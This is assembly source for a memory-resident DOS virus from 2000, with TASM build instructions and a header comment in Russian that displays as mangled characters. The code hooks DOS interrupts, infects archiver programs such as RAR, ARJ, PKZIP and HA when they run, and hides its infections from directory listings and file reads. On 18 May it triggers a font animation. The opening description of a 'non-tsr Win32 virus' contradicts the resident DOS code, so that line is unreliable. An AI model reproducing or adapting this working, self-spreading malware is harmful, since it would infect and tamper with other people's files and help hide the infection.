COMMENT % PE-EXE.CRYPT. A very simple non-tsr Win32 virus. Scannes for files in the current directory and infects it by appending to the last section. ‚จเใแ, ชฎโฎเ๋ฉ แฅฉ็ แ ฏฅเฅค ข ฌจ, ก๋ซ ญ ฏจแ ญ ฅ้ฅ ฏฎซ ฃฎค  ญ ง ค, ญฎ ฏฎซญฎแโ์๎ คฎคฅซ โ์ จ ฎไฎเฌจโ์ ฅฃฎ ใ ฌฅญ๏ ญ ่ซฎแ์ ขเฅฌ๏ โฎซ์ชฎ แฅฉ็ แ. โฎโ ขจเใแ ๏ขซ๏ฅโแ๏ เฅ ซจง ๆจฅฉ คฎขฎซ์ญฎ แโ เฎฉ จคฅจ, ญฎ, ขจคจฌฎ จง-ง  แซฎฆญฎแโจ  ซฃฎเจโฌ , คเใฃจๅ ขฎฏซฎ้ฅญจฉ ํโฎฉ จคฅจ, ฏฎ ฌฎจฌ ค ญญ๋ฌ, ญฅโ. ˆโ ช, ข ็ฅฌ ฆฅ ง ชซ๎็ ฅโแ๏ ขแ๏ ไจ่ช ? € คฅซฎ ข โฎฌ, ็โฎ ขจเใแ ญจ็ฅฃฎ ญ  คจแช ญฅ ฏจ่ฅโ (ง  จแชซ๎็ฅญจฅฌ ญจฆฅ ฎฃฎขฎเฅญญ๋ๅ แซใ็ ฅข). ฎ ข โ ชฎฌ แซใ็ ฅ ขฎงญจช ฅโ แฏเ ขฅคซจข๋ฉ ขฎฏเฎแ: ช ช ฆฅ โฎฃค  ขจเใแ เ งฌญฎฆ ฅโแ๏? ‚ ค ญญฎฉ เฅ ซจง ๆจจ ฅฌใ ฏฎฌฎฃ ๎โ  เๅจข โฎเ๋ (ๅฎโ๏ ฌฎฃใโ ก๋โ์ จ คเใฃจฅ ข เจ ญโ๋). ’ฅฏฅเ์ ฏฎ ฏฎเ๏คชใ. ‘ญ ็ ซ  ฎโขฅ็ใ ญ  โ ชฎฉ ขฎฏเฎแ: ช ช, ญฅ จงฌฅญ๏๏ ไ ฉซ, แคฅซ โ์ โ ช, ็โฎก๋ ไ ฉซ ช ง ซแ๏ ง เ ฆฅญญ๋ฌ? Žแโ ฅฌแ๏ เฅงจคฅญโญฎ จ ฏฅเฅๅข โ๋ข ฅฌ แซฅคใ๎้จฅ ไใญชๆจจ 21-ฃฎ ฏเฅเ๋ข ญจ๏: - 4Eh, 4Fh (็โฅญจฅ ช โ ซฎฃฎข) - 3Fh (็โฅญจฅ จง ไ ฉซ ) - 42h (ใแโ ญฎขช  ใช ง โฅซ๏ ข ไ ฉซฅ) „ ซฅฅ ฌ๋ ข๋ฏฎซญ๏ฅฌ คฅฉแโขจ๏, ฎกเ โญ๋ฅ คฅฉแโขจ๏ฌ Stealth-ขจเใแฎข. เจ ็โฅญจจ ช โ ซฎฃฎข ใขฅซจ็จข ฅฌ ข DTA เ งฌฅเ ไ ฉซ -ฆฅเโข๋ ญ  คซจญใ ขจเใแ . เจ ็โฅญจจ จง ไ ฉซ  ฏเฎขฅเ๏ฅฌ, ฃคฅ ญ ๅฎคจโแ๏ ใช ง โฅซ์ จ, ฅแซจ ฎญ ญ ๅฎคจโแ๏ ญ  MZ-EXE ง ฃฎซฎขชฅ (ฌ๋ เ กฎโ ฅฌ โฎซ์ชฎ แ MZ-EXE ไ ฉซ ฌจ) จซจ ญ  ฏเฅคฏฎซ ฃ ฅฌฎฌ ฌฅแโฅ เ แฏฎซฎฆฅญจ๏ ขจเใแ  ข ไ ฉซฅ (ข ญ ่ฅฌ แซใ็ ฅ ํโฎ แเ งใ ฏฎแซฅ ชฎญๆ  ไ ฉซ ), โฎ ฏฎคแโ ขซ๏ฅฌ CX ก ฉโ จง MZ-EXE ง ฃฎซฎขช , ชฎโฎเ๋ฉ โใโ ฆฅ ฃฅญฅเจเใฅฌ (โ ช ฆฅ, ช ช ํโฎ คฅซ ๎โ ฏเจ ฎก๋็ญฎฌ ง เ ฆฅญจจ), จซจ จง ชฎค  ขจเใแ  แฎฎโขฅโแโขฅญญฎ, ฏฎ  คเฅแใ DS:DX. ’ฎ ฅแโ์, ฌ๋ ง เ ฆ ฅฌ ญฅ แ ฌ ไ ฉซ,   กใไไฅเ, ข ชฎโฎเ๋ฉ ฅฃฎ ็จโ ๎โ (ง เ ฆ ฅฌ ไ ฉซ ข ฏ ฌ๏โจ). ’ ชจฌ ฎกเ งฎฌ, ฏเฎฃเ ฌฌ , ฏเฎ็จโ ข่ ๏ ไ ฉซ, ฏฎซใ็จโ ฅฃฎ ง เ ฆฅญญ๋ฌ. ฎซฅฅ คฅโ ซ์ญฎฅ ฎฏจแ ญจฅ  ซฃฎเจโฌ  ฏเจขฎคจโแ๏ ฎโคฅซ์ญฎ. …แโฅแโขฅญญฎ, ็โฎ ฏฅเฅค โฅฌ, ช ช ข๋ฏฎซญ๏โ์ ข๋่ฅฎฏจแ ญญ๋ฅ คฅฉแโขจ๏, ฌ๋ แญ ็ ซ  ฏเฎขฅเ๏ฅฌ โจฏ ไ ฉซ  (ฎญ คฎซฆฅญ ก๋โ์ MZ-EXE, ช ช ใฆฅ ก๋ซฎ แช ง ญฎ) จ ฅฃฎ ฏเจฃฎคญฎแโ์ คซ๏ ง เ ฆฅญจ๏ (ฎโแใโแโขจฅ ฎขฅเซฅฅข),   โ ชฆฅ คฅซ ฅฌ ฏเฎขฅเชใ ญ  ฏฎขโฎเญฎฅ ง เ ฆฅญจฅ (ฏเจงญ ช ง เ ฆฅญญฎแโจ ไ ฉซ  - 6666h ข ฏฎซฅ ชฎญโเฎซ์ญฎฉ แใฌฌ๋ MZ-EXE ง ฃฎซฎขช ). ’ฅฏฅเ์ แ ฌฎฅ ฃซ ขญฎฅ. ‚แฅ, ็โฎ ญ ฏจแ ญฎ ข๋่ฅ, ฏเจ ฎก๋็ญ๋ๅ ใแซฎขจ๏ๅ ฎโชซ๎็ฅญฎ จ  ชโจขจเใฅโแ๏ โฎซ์ชฎ โฎฃค , ชฎฃค  ฏฎซ์งฎข โฅซ์ ง ฏใแช ฅโ  เๅจข โฎเ (RAR, ARJ, PKZIP จซจ HA). „ซ๏ ํโฎฃฎ ขจเใแ ฏฅเฅๅข โ๋ข ฅโ ไใญชๆจ๎ 4Bh (ง ฏใแช ไ ฉซ ). Ÿแญฎ, ็โฎ ข  เๅจข ๅ ไ ฉซ๋ ฎช ฆใโแ๏ ง เ ฆฅญญ๋ฌจ, ข โฎ ขเฅฌ๏ ช ช ญ  คจแชฅ ฎญจ ฎแโ ญใโแ๏ ญฅโเฎญใโ๋ฌจ. ฎฌจฌฎ ขแฅฃฎ ฏเฎ็ฅฃฎ, ขจเใแ ง เ ฆ ฅโ ใช ง ญญ๋ฅ ข๋่ฅ  เๅจข โฎเ๋ ฏเจ จๅ ง ฏใแชฅ (ํโฎ ช ช เ ง โฎโ ฅคจญแโขฅญญ๋ฉ แซใ็ ฉ, ชฎฃค  ขจเใแ ็โฎ-โฎ ฏจ่ฅโ ญ  คจแช). เจ ง เ ฆฅญจจ  เๅจข โฎเฎข ขจเใแ ฎกเ ก โ๋ข ฅโ  โเจกใโ "’ฎซ์ชฎ ็โฅญจฅ", ญฅ จงฌฅญ๏ฅโ  โเจกใโฎข จ ขเฅฌฅญจ แฎงค ญจ๏ ไ ฉซ ,   โ ชฆฅ ญฅ ฃซ๎็จโ ญ  ง ้จ้ฅญญ๋ๅ ฎโ ง ฏจแจ คจแชฅโ ๅ. เฎ๏ขซฅญจฅ: 18 ฌ ๏ ขจเใแ ใแโ ญ ขซจข ฅโ ญ  int 1Ch แขฎฉ ฎกเ กฎโ็จช, ชฎโฎเ๋ฉ แฎงค ฅโ  ญจฌ ๆจฎญญ๋ฉ ํไไฅชโ แ ญฅชฎโฎเ๋ฌจ ่เจไโ ฌจ. DJ Sadovnikov (http://i.am/djsad), 26.09.2000 ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ Šฎฌฏจซจเฎข โ์ แ ฏฎฌฎ้์๎ TASM 4.1+ tasm /m archiver.asm tlink /3 /x archiver.obj del archiver.obj ” ฉซ๋ จง  เๅจข : archiver.asm 23700 (จแๅฎคญจช ขจเใแ ) archiver.exe 2100 (กจญ เญจช ขจเใแ ) archiver.doc 3300 (ฎฏจแ ญจฅ  ซฃฎเจโฌ ) % ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ .286 Code segment use16 assume cs:Code, ds:Code org 0 mov ah, 9 mov dx, offset Msg+100h int 21h mov ax, 4C00h int 21h Msg db 'Virus has started...$' ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; €—€‹Ž ‚ˆ“‘€ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ Virus: pusha push ds es call Entry Entry: pop si sub si, Entry-Virus ;[เฎขฅเ๏ฅฌ ญ ซจ็จฅ ขจเใแ  ข ฏ ฌ๏โจ] mov ax, 0ABCDh int 21h cmp ax, 0DCBAh je Exit ;[“ชฎเ ็จข ฅฌ คซจญใ โฅชใ้ฅฃฎ กซฎช  ฏ ฌ๏โจ] mov ax, ds dec ax mov ds, ax mov bx, ds:[3] sub bx, MemSize/16+2 mov ah, 4Ah int 21h jc Exit ;[ฅเฅแโ ขซ๏ฅฌ int 21h ญ  int 65h] mov ax, 3521h int 21h mov ax, 2565h mov dx, bx push es pop ds int 21h ;[‚๋คฅซ๏ฅฌ ฏ ฌ๏โ์ คซ๏ ขจเใแ ] mov ah, 48h mov bx, MemSize/16+1 int 21h jc Exit mov es, ax ;[ฎฌฅ็ ฅฌ กซฎช ฏ ฌ๏โจ ช ช แจแโฅฌญใ๎ ฎกซ แโ์] dec ax mov ds, ax mov ds:[1], word ptr 8 ;[Šฎฏจเใฅฌ ขจเใแ ข ข๋คฅซฅญญใ๎ ฏ ฌ๏โ์] cld push cs pop ds xor di, di mov cx, CodeSize push si rep movsb pop si ;[“แโ ญ ขซจข ฅฌ ญฎข๋ฉ ฎกเ กฎโ็จช int 21h] mov ax, 2521h mov dx, Int21h-Virus push es pop ds int 21h ;[เฎขฅเ๏ฅฌ แจแโฅฌญใ๎ ค โใ] mov ax, 0807h out 70h, al in al, 71h xchg ah, al out 70h, al in al, 71h cmp ax, 1805h jne Exit ;[‘ฎๅเ ญ๏ฅฌ  คเฅแ แโ เฎฃฎ ฎกเ กฎโ็จช  int 1Ch] mov ax, 351Ch int 65h mov ds:[Ofs1Ch-Virus], bx mov ds:[Seg1Ch-Virus], es ;[“แโ ญ ขซจข ฅฌ ญฎข๋ฉ ฎกเ กฎโ็จช int 1Ch] mov ax, 251Ch mov dx, Int1Ch-Virus int 65h ;[Žโค ฅฌ ใฏเ ขซฅญจฅ ง เ ฆฅญญฎฉ ฏเฎฃเ ฌฌฅ] Exit: pop es ds mov ax, ds add ax, 10h add cs:[OldCS+0-Virus+si], ax add cs:[OldSS+1-Virus+si], ax popa jmp $+2 cli OldSS: mov sp, 0 mov ss, sp OldSP: mov sp, 0 sti db 0EAh OldIP dw 0 OldCS dw 0 ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; Ž€Ž’—ˆŠ INT 1Ch ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ Int1Ch: pusha push ds es push cs pop ds push 0B800h pop es cmp ds:[Flag1-Virus], byte ptr 0 jne WaitTic mov dx, 3C4h mov al, 2 out dx, al inc dx mov al, 4 out dx, al dec dx out dx, al inc dx out dx, al mov dx, 3CEh mov al, 6 out dx, al inc dx mov al, 0Ch out dx, al ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ mov ax, Font1-Virus mov bx, Font1Ofs-Virus mov di, 32*'.' call Font mov ax, Font2-Virus mov bx, Font2Ofs-Virus mov di, 32*'\' call Font mov ax, Font3-Virus mov bx, Font3Ofs-Virus mov di, 32*',' call Font mov ax, Font4-Virus mov bx, Font4Ofs-Virus mov di, 32*':' call Font ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ mov dx, 3CEh mov al, 6 out dx, al inc dx mov al, 0DEh out dx, al mov dx, 3C4h mov al, 4 out dx, al inc dx mov al, 3 out dx, al dec dx mov al, 2 out dx, al inc dx mov al, 3 out dx, al WaitTic: not byte ptr ds:[Flag1-Virus] pop es ds popa db 0EAh Ofs1Ch dw 0 Seg1Ch dw 0 Font: mov si, ds:[bx] mov cx, 15 cld rep movsb cmp si, bx jne L1 mov si, ax L1: mov ds:[bx], si ret Flag1 db 0 ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; Ž€Ž’—ˆŠ INT 21h ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ Int24h: mov al, 3 iret Int21h: cmp ax, 0ABCDh jne NotTest mov ax, 0DCBAh iret NotTest: cmp ah, 4Bh je Func4B cmp cs:[Flag2-Virus], byte ptr 0 je Quit cmp ah, 4Eh je Func4E cmp ah, 4Fh je Func4E cmp bx, 4 jbe Quit cmp ah, 3Fh je Func3F cmp ax, 4202h je Func42 Quit: int 65h jc QuitSTC QuitCLC: push bp mov bp, sp and [bp+6], byte ptr 11111110b pop bp iret QuitSTC: push bp mov bp, sp or [bp+6], byte ptr 00000001b pop bp iret ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; Ž€Ž’—ˆŠ ‡€“‘Š€ ”€‰‹€ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ Func4B: pusha mov cs:[Flag2-Virus], byte ptr 0 ;[“แโ ญ ขซจข ฅฌ SI ญ  ญ ็ ซฎ จฌฅญ  ไ ฉซ ] mov di, dx mov si, di Loop1: cmp ds:[di], byte ptr '\' jne L2 mov si, di inc si L2: inc di cmp ds:[di], byte ptr 0 jne Loop1 ;[เฎขฅเ๏ฅฌ จฌ๏ ไ ฉซ ] mov ax, ds:[si] and ax, 0DFDFh mov di, Arhivat-Virus call CmpStr jnc NotArhiv ;[‡ เ ฆ ฅฌ  เๅจข โฎเ] not byte ptr cs:[Flag2-Virus] call Infect NotArhiv: popa jmp Quit ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; Ž€Ž’—ˆŠ ……Œ…™…ˆŸ “Š€‡€’…‹Ÿ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ Func42: call TestFile jc Quit add dx, CodeSize adc cx, 0 jmp Quit ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; Ž€Ž’—ˆŠ —’…ˆŸ ˆ‡ ”€‰‹€ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ Func3F: jcxz Quit call TestFile jc Quit int 65h jc QuitSTC push ax push bx call Exec3F pop bx pop ax jmp QuitCLC ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; Ž€Ž’—ˆŠ —’…ˆŸ Š€’€‹Žƒ€ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ Func4E: int 65h jc QuitSTC pusha push ds push es ;[‘ฎๅเ ญ๏ฅฌ  คเฅแ ฎกเ กฎโ็จช  Int 24h] mov ax, 3524h int 65h push es push bx ;[“แโ ญ ขซจข ฅฌ แขฎฉ ฎกเ กฎโ็จช Int 24h] call Set24h ;[ฎซใ็ ฅฌ  คเฅแ DTA] mov ah, 2Fh int 65h jc Rest24h push es pop ds ;[ ฉคฅญญ ๏ ง ฏจแ์ - คจเฅชโฎเจ๏ จซจ ฌฅโช  โฎฌ ?] test ds:[bx+15h], byte ptr 00011000b jnz Rest24h mov cs:[OldBX+1-Virus], bx ;[Žโชเ๋ข ฅฌ ญ ฉคฅญญ๋ฉ ไ ฉซ] mov ax, 3D00h lea dx, [bx+1Eh] int 65h jc Rest24h xchg ax, bx ;[เฎขฅเ๏ฅฌ ฅฃฎ ฏเจฃฎคญฎแโ์] call TestFile ;[‡ ชเ๋ข ฅฌ ไ ฉซ] pushf mov ah, 3Eh int 65h popf jc Rest24h ;[“ขฅซจ็จข ฅฌ เ งฌฅเ ไ ฉซ  ญ  คซจญใ ขจเใแ ] OldBX: mov bx, 0 add ds:[bx+1Ah], CodeSize adc ds:[bx+1Ch], word ptr 0 ;[‚ฎแแโ ญ ขซจข ฅฌ แโ เ๋ฉ ฎกเ กฎโ็จช Int 24h] Rest24h: mov ax, 2524h pop dx pop ds int 65h pop es pop ds popa jmp QuitCLC ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; ‡€€†…ˆ… €•ˆ‚€’ŽŽ‚ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ Infect: push ds push es ;[‘ฎๅเ ญ๏ฅฌ ขฅชโฎเ Int24h] mov ax, 3524h int 65h push es push bx ;[“แโ ญ ขซจข ฅฌ แขฎฉ ฎกเ กฎโ็จช Int 24h] push ds dx call Set24h pop dx ds ;[‘ฎๅเ ญ๏ฅฌ  โเจกใโ๋ ไ ฉซ ] mov ax, 4300h int 65h jc Fault push cx push dx push ds ;[Žกญใซ๏ฅฌ  โเจกใโ๋ ไ ฉซ ] mov ax, 4301h xor cx, cx int 65h jc RestAttr ;[Žโชเ๋ข ฅฌ ไ ฉซ] mov ax, 3D02h int 65h jc RestAttr xchg bx, ax ;[‘ฎๅเ ญ๏ฅฌ ขเฅฌ๏ จ ค โใ แฎงค ญจ๏ ไ ฉซ ] mov ax, 5700h int 65h jc Close push dx push cx ;[เฎขฅเ๏ฅฌ ฏเจฃฎคญฎแโ์ ไ ฉซ ] call TestFile jc RestTime ;[‡ ฏจแ๋ข ฅฌ ญฎข๋ฉ ง ฃฎซฎขฎช] mov ah, 40h mov cx, 18h mov dx, Header-Virus push cs pop ds int 65h jc RestTime ;[“แโ ญ ขซจข ฅฌ ใช ง โฅซ์ ข ชฎญฅๆ ไ ฉซ ] mov al, 2 call Seek jc RestTime ;[‡ ฏจแ๋ข ฅฌ ชฎค ขจเใแ ] mov ah, 40h mov cx, CodeSize xor dx, dx int 65h ;[‚ฎแแโ ญ ขซจข ฅฌ ค โใ จ ขเฅฌ๏ แฎงค ญจ๏ ไ ฉซ ] RestTime: mov ax, 5701h pop cx pop dx int 65h ;[‡ ชเ๋ข ฅฌ ไ ฉซ] Close: mov ah, 3Eh int 65h ;‚ฎแแโ ญ ขซจข ฅฌ  โเจกใโ๋ ไ ฉซ ] RestAttr: mov ax, 4301h pop ds pop dx pop cx int 65h ;[‚ฎแแโ ญ ขซจข ฅฌ ขฅชโฎเ Int 24h] Fault: mov ax, 2524h pop dx pop ds int 65h pop es pop ds ret ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; Ž‚…Š€ ˆƒŽ„Ž‘’ˆ ”€‰‹€ ˆ ‘Ž‡„€ˆ… ‡€ƒŽ‹Ž‚Š€ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ TestFile: pusha push ds push cs pop ds ;[‘ฎๅเ ญ๏ฅฌ โฅชใ้ใ๎ ฏฎงจๆจ๎ ข ไ ฉซฅ] mov al, 1 call Seek jc Error mov ds:[CurPos-Virus], ax mov ds:[CurPos+2-Virus], dx ;[‘ฎๅเ ญ๏ฅฌ เ งฌฅเ ไ ฉซ ] mov al, 2 call Seek jc Error mov ds:[FSize-Virus], ax mov ds:[FSize+2-Virus], dx ;[“แโ ญ ขซจข ฅฌ ใช ง โฅซ์ ข ญ ็ ซฎ ไ ฉซ ] mov al, 0 call Seek jc Error ;[‘็จโ๋ข ฅฌ ง ฃฎซฎขฎช EXE-ไ ฉซ ] mov ah, 3Fh mov cx, 18h mov dx, Header-Virus int 65h jc Error ;[“แโ ญ ขซจข ฅฌ ใช ง โฅซ์ ญ  3Ch ก ฉโ ฎโ ญ ็ ซ  ไ ฉซ ] mov ax, 4200h xor cx, cx mov dx, 3Ch int 65h jc Error ;[‘็จโ๋ข ฅฌ  คเฅแ NewEXE ง ฃฎซฎขช ] mov ah, 3Fh mov cx, 4 mov dx, Temp-Virus int 65h jc Error ;[“แโ ญ ขซจข ฅฌ ใช ง โฅซ์ ญ  NewEXE ง ฃฎซฎขฎช] mov ax, 4200h mov dx, ds:[Temp-Virus] mov cx, ds:[Temp+2-Virus] int 65h jc Error ;[‘็จโ๋ข ฅฌ ฏฅเข๋ฅ คข  ก ฉโ  NewEXE ง ฃฎซฎขช ] mov ah, 3Fh mov cx, 2 mov dx, Temp-Virus int 65h jc Error ;[‚ฎแแโ ญ ขซจข ฅฌ โฅชใ้ใ๎ ฏฎงจๆจ๎ ข ไ ฉซฅ] mov ax, 4200h mov dx, ds:[CurPos-Virus] mov cx, ds:[CurPos+2-Virus] int 65h jnc NoError ;[‚๋ๅฎคจฌ จง ฏฎคฏเฎฃเ ฌฌ๋] Error: stc pop ds popa ret ;[เฎขฅเ๏ฅฌ โจฏ ไ ฉซ  จ ฅฃฎ ง เ ฆฅญญฎแโ์] NoError: cmp ds:[Header-Virus], 'ZM' jne Error cmp ds:[Header+12h-Virus], 6666h je Error ;[…แซจ NewEXE ง ฃฎซฎขฎช ฏเจแใโแโขใฅโ, โฎ ข๋ๅฎคจฌ] mov di, NewEXE-Virus mov ax, ds:[Temp-Virus] call CmpStr jc Error ;[‘ฎคฅเฆจโ ซจ ไ ฉซ ฎขฅเซฅจ] call GetFSize call Into512 cmp ds:[Header+4-Virus], ax jne Error cmp ds:[Header+2-Virus], dx jne Error ;[‚๋็จแซ๏ฅฌ คซจญใ ไ ฉซ  แ ขจเใแฎฌ] call GetFSize add ax, CodeSize adc dx, 0 call Into512 mov ds:[Header+4-Virus], ax mov ds:[Header+2-Virus], dx ;[‘ฎๅเ ญ๏ฅฌ SS, SP, CS, IP] mov ax, ds:[Header+0Eh-Virus] mov ds:[OldSS+1-Virus], ax mov ax, ds:[Header+10h-Virus] mov ds:[OldSP+1-Virus], ax mov ax, ds:[Header+16h-Virus] mov ds:[OldCS-Virus], ax mov ax, ds:[Header+14h-Virus] mov ds:[OldIP-Virus], ax ;[Šฎเเฅชโจเใฅฌ โฎ็ชใ ขๅฎค  จ  คเฅแ แโฅช ] call GetFSize mov cx, 16 div cx sub ax, ds:[Header+08h-Virus] mov ds:[Header+16h-Virus], ax mov ds:[Header+14h-Virus], dx mov ds:[Header+0Eh-Virus], ax mov ds:[Header+10h-Virus], CodeSize+100h ;[“แโ ญ ขซจข ฅฌ ฏเจงญ ช ง เ ฆฅญจ๏ ไ ฉซ ] mov ds:[Header+12h-Virus], 6666h clc pop ds popa ret ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; ‡€€†…ˆ… ”€‰‹€ ‚ €ŒŸ’ˆ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ .386 Exec3F: pushad movzx ecx, cx movzx edx, dx mov eax, cs:[CurPos-Virus] sub eax, cs:[FSize-Virus] mov ebx, eax add ebx, ecx mov ebp, 18h sub ebp, cs:[CurPos-Virus] ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ cmp eax, large CodeSize jg A06 cmp eax, 0 jle A01 mov esi, edx mov edi, eax cmp ebx, large CodeSize jg A03 jmp A04 A01: cmp ebp, 0 jge A02 mov esi, edx sub esi, eax xor edi, edi cmp ebx, large CodeSize jg A07 cmp ebx, 0 jg A08 jmp A06 A02: mov esi, edx mov edi, Header-Virus add edi, cs:[CurPos-Virus] cmp ebx, large CodeSize jg A09 cmp ebx, 0 jg A10 cmp ecx, ebp jg A12 jmp A05 ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ A03: mov ecx, CodeSize sub ecx, eax A04: call SetNewPos A05: call Store A06: popad ret A07: mov ecx, CodeSize jmp A04 A08: mov ecx, ebx jmp A04 A09: mov ecx, ebp call Store mov ecx, CodeSize jmp A11 A10: mov ecx, ebp call Store mov ecx, ebx A11: mov esi, edx sub esi, eax xor edi, edi jmp A04 A12: mov ecx, ebp jmp A05 ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ .286 Store: jcxz NoStore push ax Loop2: mov al, cs:[di] mov ds:[si], al inc si inc di loop Loop2 pop ax NoStore: ret SetNewPos: pusha mov bp, sp add [bp+36h], cx mov ax, 4201h mov bx, [bp+34h] mov dx, cx xor cx, cx int 65h popa ret ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; Ž„Žƒ€ŒŒ› ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ GetFSize: mov ax, ds:[FSize-Virus] mov dx, ds:[FSize+2-Virus] ret Into512: mov cx, 512 div cx or dx, dx jz $+3 inc ax ret Seek: mov ah, 42h xor cx, cx xor dx, dx int 65h ret CmpStr: mov cx, 4 Loop3: cmp cs:[di], ax jne L3 stc ret L3: inc di inc di loop Loop3 clc ret Set24h: mov ax, 2524h mov dx, Int24h-Virus push cs pop ds int 65h ret ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; ˜ˆ”’› ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ Font1 db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00011000b db 00011000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00011000b db 00000000b db 00000000b db 00011000b db 00011000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00111100b db 01000010b db 00000000b db 00011000b db 00000000b db 00000000b db 00011000b db 00011000b db 00000000b db 00000000b db 00000000b db 00000000b db 01111110b db 10000001b db 00000000b db 00111100b db 01000010b db 00000000b db 00011000b db 00000000b db 00000000b db 00011000b db 00011000b db 00000000b db 00000000b db 00000000b db 00000000b db 01111110b db 10000001b db 00000000b db 00111100b db 01000010b db 00000000b db 00000000b db 00000000b db 00000000b db 00011000b db 00011000b db 00000000b db 00000000b db 00000000b db 00000000b db 01111110b db 10000001b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00011000b db 00011000b db 00000000b db 00000000b db 00000000b Font1Ofs dw Font1-Virus Font2 db 00000000b db 00000000b db 00000000b db 10000000b db 11000000b db 11100000b db 01110000b db 00111000b db 00011100b db 00001110b db 00000110b db 00000010b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00011000b db 00011000b db 00011000b db 00011000b db 00011000b db 00011000b db 00011000b db 00011000b db 00011000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000010b db 00000110b db 00001110b db 00011100b db 00111000b db 01110000b db 11100000b db 11000000b db 10000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 11111111b db 11111111b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Font2Ofs dw Font2-Virus Font3 db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00011000b db 00011000b db 00011000b db 00110000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00011000b db 00011000b db 00011000b db 00011000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00011000b db 00011000b db 00011000b db 00001100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00011000b db 00011000b db 00011000b db 00011000b db 00000000b db 00000000b Font3Ofs dw Font3-Virus Font4 db 00000000b db 00000000b db 00000000b db 00011000b db 00011000b db 00000000b db 00000000b db 00000000b db 00000000b db 00011000b db 00011000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00111100b db 01000010b db 01011010b db 01011010b db 01000010b db 00111100b db 00000000b db 00000000b db 00011000b db 00011000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00011000b db 00011000b db 00000000b db 00000000b db 00000000b db 00000000b db 00011000b db 00011000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00011000b db 00011000b db 00000000b db 00000000b db 00111100b db 01000010b db 01011010b db 01011010b db 01000010b db 00111100b db 00000000b db 00000000b Font4Ofs 